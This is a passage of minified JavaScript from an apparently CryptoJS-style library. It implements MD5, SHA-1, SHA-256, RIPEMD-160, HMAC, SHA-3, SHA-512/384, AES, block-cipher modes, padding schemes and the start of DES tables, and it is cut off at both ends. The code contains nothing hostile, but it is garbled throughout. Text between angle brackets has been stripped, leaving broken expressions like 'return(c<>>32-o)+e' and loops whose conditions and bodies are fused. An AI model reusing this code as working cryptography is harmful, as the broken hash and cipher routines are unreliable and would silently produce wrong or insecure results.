doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;r[n>>>5]|=128<<24-n%32;var o=t.floor(i/4294967296),s=i;r[15+(64+n>>>9<<4)]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),r[14+(64+n>>>9<<4)]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),e.sigBytes=4*(r.length+1),this._process();for(var c=this._hash,a=c.words,h=0;h<4;h++){var l=a[h];a[h]=16711935&(l<<8|l>>>24)|4278255360&(l<<24|l>>>8)}return c},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});function a(t,e,r,i,n,o,s){var c=t+(e&r|~e&i)+n+s;return(c<>>32-o)+e}function h(t,e,r,i,n,o,s){var c=t+(e&i|r&~i)+n+s;return(c<>>32-o)+e}function l(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<>>32-o)+e}function f(t,e,r,i,n,o,s){var c=t+(r^(e|~i))+n+s;return(c<>>32-o)+e}e.MD5=n._createHelper(c),e.HmacMD5=n._createHmacHelper(c)}(Math),r=(e=mt).lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=o.SHA1=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],c=r[3],a=r[4],h=0;h<80;h++){if(h<16)s[h]=0|t[e+h];else{var l=s[h-3]^s[h-8]^s[h-14]^s[h-16];s[h]=l<<1|l>>>31}var f=(i<<5|i>>>27)+a+s[h];f+=h<20?1518500249+(n&o|~n&c):h<40?1859775393+(n^o^c):h<60?(n&o|n&c|o&c)-1894007588:(n^o^c)-899497514,a=c,c=o,o=n<<30|n>>>2,n=i,i=f}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+c|0,r[4]=r[4]+a|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=Math.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}}),e.SHA1=n._createHelper(c),e.HmacSHA1=n._createHmacHelper(c),function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=[];!function(){function e(e){for(var r=t.sqrt(e),i=2;i<=r;i++)if(!(e%i))return;return 1}function r(t){return 4294967296*(t-(0|t))|0}for(var i=2,n=0;n<64;)e(i)&&(n<8&&(s[n]=r(t.pow(i,.5))),c[n]=r(t.pow(i,1/3)),n++),i++}();var a=[],h=o.SHA256=n.extend({_doReset:function(){this._hash=new i.init(s.slice(0))},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=0;u<64;u++){if(u<16)a[u]=0|t[e+u];else{var p=a[u-15],_=(p<<25|p>>>7)^(p<<14|p>>>18)^p>>>3,v=a[u-2],y=(v<<15|v>>>17)^(v<<13|v>>>19)^v>>>10;a[u]=_+a[u-7]+y+a[u-16]}var g=i&n^i&o^n&o,B=(i<<30|i>>>2)^(i<<19|i>>>13)^(i<<10|i>>>22),w=d+((h<<26|h>>>6)^(h<<21|h>>>11)^(h<<7|h>>>25))+(h&l^~h&f)+c[u]+a[u];d=f,f=l,l=h,h=s+w|0,s=o,o=n,n=i,i=w+(B+g)|0}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+h|0,r[5]=r[5]+l|0,r[6]=r[6]+f|0,r[7]=r[7]+d|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;return r[n>>>5]|=128<<24-n%32,r[14+(64+n>>>9<<4)]=t.floor(i/4294967296),r[15+(64+n>>>9<<4)]=i,e.sigBytes=4*r.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});e.SHA256=n._createHelper(h),e.HmacSHA256=n._createHmacHelper(h)}(Math),function(){var t=mt.lib.WordArray,e=mt.enc;function r(t){return t<<8&4278255360|t>>>8&16711935}e.Utf16=e.Utf16BE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>16-n%4*8&65535;i.push(String.fromCharCode(o))}return i.join("")},parse:function(e){for(var r=e.length,i=[],n=0;n>>1]|=e.charCodeAt(n)<<16-n%2*16;return t.create(i,2*r)}},e.Utf16LE={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],o=0;o>>2]>>>16-o%4*8&65535);n.push(String.fromCharCode(s))}return n.join("")},parse:function(e){for(var i=e.length,n=[],o=0;o>>1]|=r(e.charCodeAt(o)<<16-o%2*16);return t.create(n,2*i)}}}(),function(){if("function"==typeof ArrayBuffer){var t=mt.lib.WordArray,e=t.init;(t.init=function(t){if(t instanceof ArrayBuffer&&(t=new Uint8Array(t)),(t instanceof Int8Array||"undefined"!=typeof Uint8ClampedArray&&t instanceof Uint8ClampedArray||t instanceof Int16Array||t instanceof Uint16Array||t instanceof Int32Array||t instanceof Uint32Array||t instanceof Float32Array||t instanceof Float64Array)&&(t=new Uint8Array(t.buffer,t.byteOffset,t.byteLength)),t instanceof Uint8Array){for(var r=t.byteLength,i=[],n=0;n>>2]|=t[n]<<24-n%4*8;e.call(this,i,r)}else e.apply(this,arguments)}).prototype=t}}(),Math,h=(a=mt).lib,l=h.WordArray,f=h.Hasher,d=a.algo,u=l.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),p=l.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),_=l.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),v=l.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),y=l.create([0,1518500249,1859775393,2400959708,2840853838]),g=l.create([1352829926,1548603684,1836072691,2053994217,0]),B=d.RIPEMD160=f.extend({_doReset:function(){this._hash=l.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o,s,c,a,h,l,f,d,B,w,k,S=this._hash.words,m=y.words,x=g.words,b=u.words,H=p.words,z=_.words,A=v.words;for(l=o=S[0],f=s=S[1],d=c=S[2],B=a=S[3],w=h=S[4],r=0;r<80;r+=1)k=o+t[e+b[r]]|0,k+=r<16?xt(s,c,a)+m[0]:r<32?bt(s,c,a)+m[1]:r<48?Ht(s,c,a)+m[2]:r<64?zt(s,c,a)+m[3]:At(s,c,a)+m[4],k=(k=Ct(k|=0,z[r]))+h|0,o=h,h=a,a=Ct(c,10),c=s,s=k,k=l+t[e+H[r]]|0,k+=r<16?At(f,d,B)+x[0]:r<32?zt(f,d,B)+x[1]:r<48?Ht(f,d,B)+x[2]:r<64?bt(f,d,B)+x[3]:xt(f,d,B)+x[4],k=(k=Ct(k|=0,A[r]))+w|0,l=w,w=B,B=Ct(d,10),d=f,f=k;k=S[1]+c+B|0,S[1]=S[2]+a+w|0,S[2]=S[3]+h+l|0,S[3]=S[4]+o+f|0,S[4]=S[0]+s+d|0,S[0]=k},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t.sigBytes=4*(e.length+1),this._process();for(var n=this._hash,o=n.words,s=0;s<5;s++){var c=o[s];o[s]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return n},clone:function(){var t=f.clone.call(this);return t._hash=this._hash.clone(),t}}),a.RIPEMD160=f._createHelper(B),a.HmacRIPEMD160=f._createHmacHelper(B),w=mt.lib.Base,k=mt.enc.Utf8,mt.algo.HMAC=w.extend({init:function(t,e){t=this._hasher=new t.init,"string"==typeof e&&(e=k.parse(e));var r=t.blockSize,i=4*r;e.sigBytes>i&&(e=t.finalize(e)),e.clamp();for(var n=this._oKey=e.clone(),o=this._iKey=e.clone(),s=n.words,c=o.words,a=0;a>>24)|4278255360&(o<<24|o>>>8),s=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),(A=r[n]).high^=s,A.low^=o}for(var f=0;f<24;f++){for(var d=0;d<5;d++){for(var u=0,p=0,_=0;_<5;_++)u^=(A=r[d+5*_]).high,p^=A.low;var v=l[d];v.high=u,v.low=p}for(d=0;d<5;d++){var y=l[(d+4)%5],g=l[(d+1)%5],B=g.high,w=g.low;for(u=y.high^(B<<1|w>>>31),p=y.low^(w<<1|B>>>31),_=0;_<5;_++)(A=r[d+5*_]).high^=u,A.low^=p}for(var k=1;k<25;k++){var S=(A=r[k]).high,m=A.low,x=c[k];p=x<32?(u=S<>>32-x,m<>>32-x):(u=m<>>64-x,S<>>64-x);var b=l[a[k]];b.high=u,b.low=p}var H=l[0],z=r[0];for(H.high=z.high,H.low=z.low,d=0;d<5;d++)for(_=0;_<5;_++){var A=r[k=d+5*_],C=l[k],D=l[(d+1)%5+5*_],E=l[(d+2)%5+5*_];A.high=C.high^~D.high&E.high,A.low=C.low^~D.low&E.low}A=r[0];var R=h[f];A.high^=R.high,A.low^=R.low}},_doFinalize:function(){var e=this._data,r=e.words,n=(this._nDataBytes,8*e.sigBytes),o=32*this.blockSize;r[n>>>5]|=1<<24-n%32,r[(t.ceil((1+n)/o)*o>>>5)-1]|=128,e.sigBytes=4*r.length,this._process();for(var s=this._state,c=this.cfg.outputLength/8,a=c/8,h=[],l=0;l>>24)|4278255360&(d<<24|d>>>8),u=16711935&(u<<8|u>>>24)|4278255360&(u<<24|u>>>8),h.push(u),h.push(d)}return new i.init(h,c)},clone:function(){for(var t=n.clone.call(this),e=t._state=this._state.slice(0),r=0;r<25;r++)e[r]=e[r].clone();return t}});e.SHA3=n._createHelper(f),e.HmacSHA3=n._createHmacHelper(f)}(Math),function(){var t=mt,e=t.lib.Hasher,r=t.x64,i=r.Word,n=r.WordArray,o=t.algo;function s(){return i.create.apply(i,arguments)}var c=[s(1116352408,3609767458),s(1899447441,602891725),s(3049323471,3964484399),s(3921009573,2173295548),s(961987163,4081628472),s(1508970993,3053834265),s(2453635748,2937671579),s(2870763221,3664609560),s(3624381080,2734883394),s(310598401,1164996542),s(607225278,1323610764),s(1426881987,3590304994),s(1925078388,4068182383),s(2162078206,991336113),s(2614888103,633803317),s(3248222580,3479774868),s(3835390401,2666613458),s(4022224774,944711139),s(264347078,2341262773),s(604807628,2007800933),s(770255983,1495990901),s(1249150122,1856431235),s(1555081692,3175218132),s(1996064986,2198950837),s(2554220882,3999719339),s(2821834349,766784016),s(2952996808,2566594879),s(3210313671,3203337956),s(3336571891,1034457026),s(3584528711,2466948901),s(113926993,3758326383),s(338241895,168717936),s(666307205,1188179964),s(773529912,1546045734),s(1294757372,1522805485),s(1396182291,2643833823),s(1695183700,2343527390),s(1986661051,1014477480),s(2177026350,1206759142),s(2456956037,344077627),s(2730485921,1290863460),s(2820302411,3158454273),s(3259730800,3505952657),s(3345764771,106217008),s(3516065817,3606008344),s(3600352804,1432725776),s(4094571909,1467031594),s(275423344,851169720),s(430227734,3100823752),s(506948616,1363258195),s(659060556,3750685593),s(883997877,3785050280),s(958139571,3318307427),s(1322822218,3812723403),s(1537002063,2003034995),s(1747873779,3602036899),s(1955562222,1575990012),s(2024104815,1125592928),s(2227730452,2716904306),s(2361852424,442776044),s(2428436474,593698344),s(2756734187,3733110249),s(3204031479,2999351573),s(3329325298,3815920427),s(3391569614,3928383900),s(3515267271,566280711),s(3940187606,3454069534),s(4118630271,4000239992),s(116418474,1914138554),s(174292421,2731055270),s(289380356,3203993006),s(460393269,320620315),s(685471733,587496836),s(852142971,1086792851),s(1017036298,365543100),s(1126000580,2618297676),s(1288033470,3409855158),s(1501505948,4234509866),s(1607167915,987167468),s(1816402316,1246189591)],a=[];!function(){for(var t=0;t<80;t++)a[t]=s()}();var h=o.SHA512=e.extend({_doReset:function(){this._hash=new n.init([new i.init(1779033703,4089235720),new i.init(3144134277,2227873595),new i.init(1013904242,4271175723),new i.init(2773480762,1595750129),new i.init(1359893119,2917565137),new i.init(2600822924,725511199),new i.init(528734635,4215389547),new i.init(1541459225,327033209)])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=i.high,p=i.low,_=n.high,v=n.low,y=o.high,g=o.low,B=s.high,w=s.low,k=h.high,S=h.low,m=l.high,x=l.low,b=f.high,H=f.low,z=d.high,A=d.low,C=u,D=p,E=_,R=v,M=y,F=g,P=B,W=w,O=k,I=S,U=m,K=x,X=b,L=H,j=z,N=A,T=0;T<80;T++){var q,Z,V=a[T];if(T<16)Z=V.high=0|t[e+2*T],q=V.low=0|t[e+2*T+1];else{var G=a[T-15],J=G.high,$=G.low,Q=(J>>>1|$<<31)^(J>>>8|$<<24)^J>>>7,Y=($>>>1|J<<31)^($>>>8|J<<24)^($>>>7|J<<25),tt=a[T-2],et=tt.high,rt=tt.low,it=(et>>>19|rt<<13)^(et<<3|rt>>>29)^et>>>6,nt=(rt>>>19|et<<13)^(rt<<3|et>>>29)^(rt>>>6|et<<26),ot=a[T-7],st=ot.high,ct=ot.low,at=a[T-16],ht=at.high,lt=at.low;Z=(Z=(Z=Q+st+((q=Y+ct)>>>0>>0?1:0))+it+((q+=nt)>>>0>>0?1:0))+ht+((q+=lt)>>>0>>0?1:0),V.high=Z,V.low=q}var ft,dt=O&U^~O&X,ut=I&K^~I&L,pt=C&E^C&M^E&M,_t=D&R^D&F^R&F,vt=(C>>>28|D<<4)^(C<<30|D>>>2)^(C<<25|D>>>7),yt=(D>>>28|C<<4)^(D<<30|C>>>2)^(D<<25|C>>>7),gt=(O>>>14|I<<18)^(O>>>18|I<<14)^(O<<23|I>>>9),Bt=(I>>>14|O<<18)^(I>>>18|O<<14)^(I<<23|O>>>9),wt=c[T],kt=wt.high,St=wt.low,mt=j+gt+((ft=N+Bt)>>>0>>0?1:0),xt=yt+_t;j=X,N=L,X=U,L=K,U=O,K=I,O=P+(mt=(mt=(mt=mt+dt+((ft+=ut)>>>0>>0?1:0))+kt+((ft+=St)>>>0>>0?1:0))+Z+((ft+=q)>>>0>>0?1:0))+((I=W+ft|0)>>>0>>0?1:0)|0,P=M,W=F,M=E,F=R,E=C,R=D,C=mt+(vt+pt+(xt>>>0>>0?1:0))+((D=ft+xt|0)>>>0>>0?1:0)|0}p=i.low=p+D,i.high=u+C+(p>>>0>>0?1:0),v=n.low=v+R,n.high=_+E+(v>>>0>>0?1:0),g=o.low=g+F,o.high=y+M+(g>>>0>>0?1:0),w=s.low=w+W,s.high=B+P+(w>>>0>>0?1:0),S=h.low=S+I,h.high=k+O+(S>>>0>>0?1:0),x=l.low=x+K,l.high=m+U+(x>>>0>>0?1:0),H=f.low=H+L,f.high=b+X+(H>>>0>>0?1:0),A=d.low=A+N,d.high=z+j+(A>>>0>>0?1:0)},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[30+(128+i>>>10<<5)]=Math.floor(r/4294967296),e[31+(128+i>>>10<<5)]=r,t.sigBytes=4*e.length,this._process(),this._hash.toX32()},clone:function(){var t=e.clone.call(this);return t._hash=this._hash.clone(),t},blockSize:32});t.SHA512=e._createHelper(h),t.HmacSHA512=e._createHmacHelper(h)}(),Z=(q=mt).x64,V=Z.Word,G=Z.WordArray,J=q.algo,$=J.SHA512,Q=J.SHA384=$.extend({_doReset:function(){this._hash=new G.init([new V.init(3418070365,3238371032),new V.init(1654270250,914150663),new V.init(2438529370,812702999),new V.init(355462360,4144912697),new V.init(1731405415,4290775857),new V.init(2394180231,1750603025),new V.init(3675008525,1694076839),new V.init(1203062813,3204075428)])},_doFinalize:function(){var t=$._doFinalize.call(this);return t.sigBytes-=16,t}}),q.SHA384=$._createHelper(Q),q.HmacSHA384=$._createHmacHelper(Q),mt.lib.Cipher||function(){var t=mt,e=t.lib,r=e.Base,i=e.WordArray,n=e.BufferedBlockAlgorithm,o=t.enc,s=(o.Utf8,o.Base64),c=t.algo.EvpKDF,a=e.Cipher=n.extend({cfg:r.extend(),createEncryptor:function(t,e){return this.create(this._ENC_XFORM_MODE,t,e)},createDecryptor:function(t,e){return this.create(this._DEC_XFORM_MODE,t,e)},init:function(t,e,r){this.cfg=this.cfg.extend(r),this._xformMode=t,this._key=e,this.reset()},reset:function(){n.reset.call(this),this._doReset()},process:function(t){return this._append(t),this._process()},finalize:function(t){return t&&this._append(t),this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(t){return{encrypt:function(e,r,i){return h(r).encrypt(t,e,r,i)},decrypt:function(e,r,i){return h(r).decrypt(t,e,r,i)}}}});function h(t){return"string"==typeof t?w:g}e.StreamCipher=a.extend({_doFinalize:function(){return this._process(!0)},blockSize:1});var l,f=t.mode={},d=e.BlockCipherMode=r.extend({createEncryptor:function(t,e){return this.Encryptor.create(t,e)},createDecryptor:function(t,e){return this.Decryptor.create(t,e)},init:function(t,e){this._cipher=t,this._iv=e}}),u=f.CBC=((l=d.extend()).Encryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;p.call(this,t,e,i),r.encryptBlock(t,e),this._prevBlock=t.slice(e,e+i)}}),l.Decryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);r.decryptBlock(t,e),p.call(this,t,e,i),this._prevBlock=n}}),l);function p(t,e,r){var i,n=this._iv;n?(i=n,this._iv=void 0):i=this._prevBlock;for(var o=0;o>>2];t.sigBytes-=e}},v=(e.BlockCipher=a.extend({cfg:a.cfg.extend({mode:u,padding:_}),reset:function(){var t;a.reset.call(this);var e=this.cfg,r=e.iv,i=e.mode;this._xformMode==this._ENC_XFORM_MODE?t=i.createEncryptor:(t=i.createDecryptor,this._minBufferSize=1),this._mode&&this._mode.__creator==t?this._mode.init(this,r&&r.words):(this._mode=t.call(i,this,r&&r.words),this._mode.__creator=t)},_doProcessBlock:function(t,e){this._mode.processBlock(t,e)},_doFinalize:function(){var t,e=this.cfg.padding;return this._xformMode==this._ENC_XFORM_MODE?(e.pad(this._data,this.blockSize),t=this._process(!0)):(t=this._process(!0),e.unpad(t)),t},blockSize:4}),e.CipherParams=r.extend({init:function(t){this.mixIn(t)},toString:function(t){return(t||this.formatter).stringify(this)}})),y=(t.format={}).OpenSSL={stringify:function(t){var e=t.ciphertext,r=t.salt;return(r?i.create([1398893684,1701076831]).concat(r).concat(e):e).toString(s)},parse:function(t){var e,r=s.parse(t),n=r.words;return 1398893684==n[0]&&1701076831==n[1]&&(e=i.create(n.slice(2,4)),n.splice(0,4),r.sigBytes-=16),v.create({ciphertext:r,salt:e})}},g=e.SerializableCipher=r.extend({cfg:r.extend({format:y}),encrypt:function(t,e,r,i){i=this.cfg.extend(i);var n=t.createEncryptor(r,i),o=n.finalize(e),s=n.cfg;return v.create({ciphertext:o,key:r,iv:s.iv,algorithm:t,mode:s.mode,padding:s.padding,blockSize:t.blockSize,formatter:i.format})},decrypt:function(t,e,r,i){return i=this.cfg.extend(i),e=this._parse(e,i.format),t.createDecryptor(r,i).finalize(e.ciphertext)},_parse:function(t,e){return"string"==typeof t?e.parse(t,this):t}}),B=(t.kdf={}).OpenSSL={execute:function(t,e,r,n){n=n||i.random(8);var o=c.create({keySize:e+r}).compute(t,n),s=i.create(o.words.slice(e),4*r);return o.sigBytes=4*e,v.create({key:o,iv:s,salt:n})}},w=e.PasswordBasedCipher=g.extend({cfg:g.cfg.extend({kdf:B}),encrypt:function(t,e,r,i){var n=(i=this.cfg.extend(i)).kdf.execute(r,t.keySize,t.ivSize);i.iv=n.iv;var o=g.encrypt.call(this,t,e,n.key,i);return o.mixIn(n),o},decrypt:function(t,e,r,i){i=this.cfg.extend(i),e=this._parse(e,i.format);var n=i.kdf.execute(r,t.keySize,t.ivSize,e.salt);return i.iv=n.iv,g.decrypt.call(this,t,e,n.key,i)}})}(),mt.mode.CFB=((Y=mt.lib.BlockCipherMode.extend()).Encryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;Dt.call(this,t,e,i,r),this._prevBlock=t.slice(e,e+i)}}),Y.Decryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);Dt.call(this,t,e,i,r),this._prevBlock=n}}),Y),mt.mode.ECB=((tt=mt.lib.BlockCipherMode.extend()).Encryptor=tt.extend({processBlock:function(t,e){this._cipher.encryptBlock(t,e)}}),tt.Decryptor=tt.extend({processBlock:function(t,e){this._cipher.decryptBlock(t,e)}}),tt),mt.pad.AnsiX923={pad:function(t,e){var r=t.sigBytes,i=4*e,n=i-r%i,o=r+n-1;t.clamp(),t.words[o>>>2]|=n<<24-o%4*8,t.sigBytes+=n},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso10126={pad:function(t,e){var r=4*e,i=r-t.sigBytes%r;t.concat(mt.lib.WordArray.random(i-1)).concat(mt.lib.WordArray.create([i<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso97971={pad:function(t,e){t.concat(mt.lib.WordArray.create([2147483648],1)),mt.pad.ZeroPadding.pad(t,e)},unpad:function(t){mt.pad.ZeroPadding.unpad(t),t.sigBytes--}},mt.mode.OFB=(rt=(et=mt.lib.BlockCipherMode.extend()).Encryptor=et.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._keystream;n&&(o=this._keystream=n.slice(0),this._iv=void 0),r.encryptBlock(o,0);for(var s=0;s>>8^255&p^99,i[r]=p;var _=t[n[p]=r],v=t[_],y=t[v],g=257*t[p]^16843008*p;o[r]=g<<24|g>>>8,s[r]=g<<16|g>>>16,c[r]=g<<8|g>>>24,a[r]=g,g=16843009*y^65537*v^257*_^16843008*r,h[p]=g<<24|g>>>8,l[p]=g<<16|g>>>16,f[p]=g<<8|g>>>24,d[p]=g,r?(r=_^t[t[t[y^_]]],u^=t[t[u]]):r=u=1}}();var u=[0,1,2,4,8,16,32,64,128,27,54],p=r.AES=e.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var t=this._keyPriorReset=this._key,e=t.words,r=t.sigBytes/4,n=4*(1+(this._nRounds=6+r)),o=this._keySchedule=[],s=0;s>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p]):(p=i[(p=p<<8|p>>>24)>>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p],p^=u[s/r|0]<<24),o[s]=o[s-r]^p);for(var c=this._invKeySchedule=[],a=0;a>>24]]^l[i[p>>>16&255]]^f[i[p>>>8&255]]^d[i[255&p]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,o,s,c,a,i)},decryptBlock:function(t,e){var r=t[e+1];t[e+1]=t[e+3],t[e+3]=r,this._doCryptBlock(t,e,this._invKeySchedule,h,l,f,d,n),r=t[e+1],t[e+1]=t[e+3],t[e+3]=r},_doCryptBlock:function(t,e,r,i,n,o,s,c){for(var a=this._nRounds,h=t[e]^r[0],l=t[e+1]^r[1],f=t[e+2]^r[2],d=t[e+3]^r[3],u=4,p=1;p>>24]^n[l>>>16&255]^o[f>>>8&255]^s[255&d]^r[u++],v=i[l>>>24]^n[f>>>16&255]^o[d>>>8&255]^s[255&h]^r[u++],y=i[f>>>24]^n[d>>>16&255]^o[h>>>8&255]^s[255&l]^r[u++],g=i[d>>>24]^n[h>>>16&255]^o[l>>>8&255]^s[255&f]^r[u++];h=_,l=v,f=y,d=g}_=(c[h>>>24]<<24|c[l>>>16&255]<<16|c[f>>>8&255]<<8|c[255&d])^r[u++],v=(c[l>>>24]<<24|c[f>>>16&255]<<16|c[d>>>8&255]<<8|c[255&h])^r[u++],y=(c[f>>>24]<<24|c[d>>>16&255]<<16|c[h>>>8&255]<<8|c[255&l])^r[u++],g=(c[d>>>24]<<24|c[h>>>16&255]<<16|c[l>>>8&255]<<8|c[255&f])^r[u++],t[e]=_,t[e+1]=v,t[e+2]=y,t[e+3]=g},keySize:8});t.AES=e._createHelper(p)}(),function(){var t=mt,e=t.lib,r=e.WordArray,i=e.BlockCipher,n=t.algo,o=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],s=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],c=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],a=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4